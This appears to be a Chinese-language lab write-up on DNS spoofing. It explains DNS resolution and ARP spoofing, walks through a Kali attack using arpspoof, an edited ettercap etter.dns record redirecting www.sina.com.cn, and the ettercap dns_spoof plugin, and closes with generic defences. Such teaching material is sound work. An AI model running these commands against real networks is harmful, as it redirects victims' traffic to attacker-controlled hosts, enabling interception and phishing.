DNS欺骗攻击分析
概念
定义: DNS欺骗就是攻击者冒充域名服务器的一种欺骗行为。 原理:如果可以冒充域名服务器,然后把查询的IP地址设为攻击者的IP地址,这样的话,用户上网就只能看到攻击者的主页,而不是用户想要取得的网站的主页了,这就是DNS欺骗的基本原理。DNS欺骗其实并不是真的“黑掉”了对方的网站,而是冒名顶替、招摇撞骗罢了。
以上是引用百度上对DNS欺骗的概念
DNS协议
DNS是一种可以将域名和IP地址相互映射的以层次结构分布的数据库系统。DNS系统采用递归查询请求的方式来响应用户的查询,为互联网的运行提供关键性的基础服务。
DNS协议工作流程
DNS系统采用递归查询请求的方式来响应用户的查询,其一般过程如下:
(1)客户端首先向首选域名服务器查询。
(2)首选域名服务器检查本地资源记录,如果存在则作权威回答,如果不存在,则检查本地缓存,如果有记录则直接返回结果。若本地资源记录和缓存记录都不存在,则向根域名服务器查询。
(3)根域名服务器返回相应顶级域的权威域名服务器的地址,首选域名服务器继续向该顶级权威域名服务器查询。
(4)顶级权威域名服务器域名服务器/9705133)返回次级域的权威域名服务器地址,首选域名服务器如此迭代查询,直到得到对查询域名的权威回答,保存在本地缓存中并返回给客户端,完成此次查询。目前绝大多数的网络都会开放DNS服务,DNS数据包不会被防火墙等网络安全防护设备拦截,因此,可以基于DNS协议建立隐蔽通道,从而顺利穿过防火墙,在客户端和服务器之间隐蔽地传输数据。
ARP攻击原理
欺骗者向目标机器发送构造好的ARP应答数据包,ARP欺骗成功后,嗅探到对方发出的DNS请求数据包,分析数据包取得ID和端口号后,向目标发送自己构造好的一个DNS返回包,对方收到DNS应答包后,发现ID和端口号全部正确,即把返回数据包中的域名和对应的IP地址保存进DNS缓存表中,而后来的当真实的DNS应答包返回时则被丢弃。
实验
-
查看”受害者“ip
主机IP 地址 :192.168.0.131 ,网关地址为:192.168.0.2
正常执行:ping www.sina.com.cn
可以看到解析的地址为:117.25.153.238 -
使用kali 进行攻击,查看攻击者机ip地址:192.168.0.129
-
修改ettercap配置文件
vim /etc/ettercap/etter.dns
增加一条新的A纪录,将
www.sina.com.cn
解析指向攻击者主机,保存退出www.sina.com.cn A 192.168.0.129
-
开启ARP欺骗
arpspoof -i eth0 -t 192.168.0.131 192.168.0.2
-
打开ettercap的UI界面
ettercap -G
选定嗅探网卡
扫描主机
”受害者“IP设置为TARGET1,网关设置为TARGET2
从插件中开启DNS欺骗攻击
开始嗅探
-
现在
ping www.sina.com.cn
显示的IP为攻击机的IP,表示DNS欺骗成功
保护
首先,DNS攻击存在一定的局限性:
-
攻击者不能替换缓存中已存在的记录,这也就是我们为什么要在实验开始时刷新受害机的DNS缓存的原因
-
DNS服务器缓存时间的刷新
2、防范措施(百度百科上大致总结的)
- 使用最新版本的DNS服务器软件,及时安装补丁
- 关闭DNS服务器的递归功能
- 限制区域传输范围
- 限制动态更新
- 采用分层的DNS体系结构
- 保护内网设备,DNS攻击一般都是从内网中发起的,如果你的内网设备很安全,那么也就不存在被感染的风险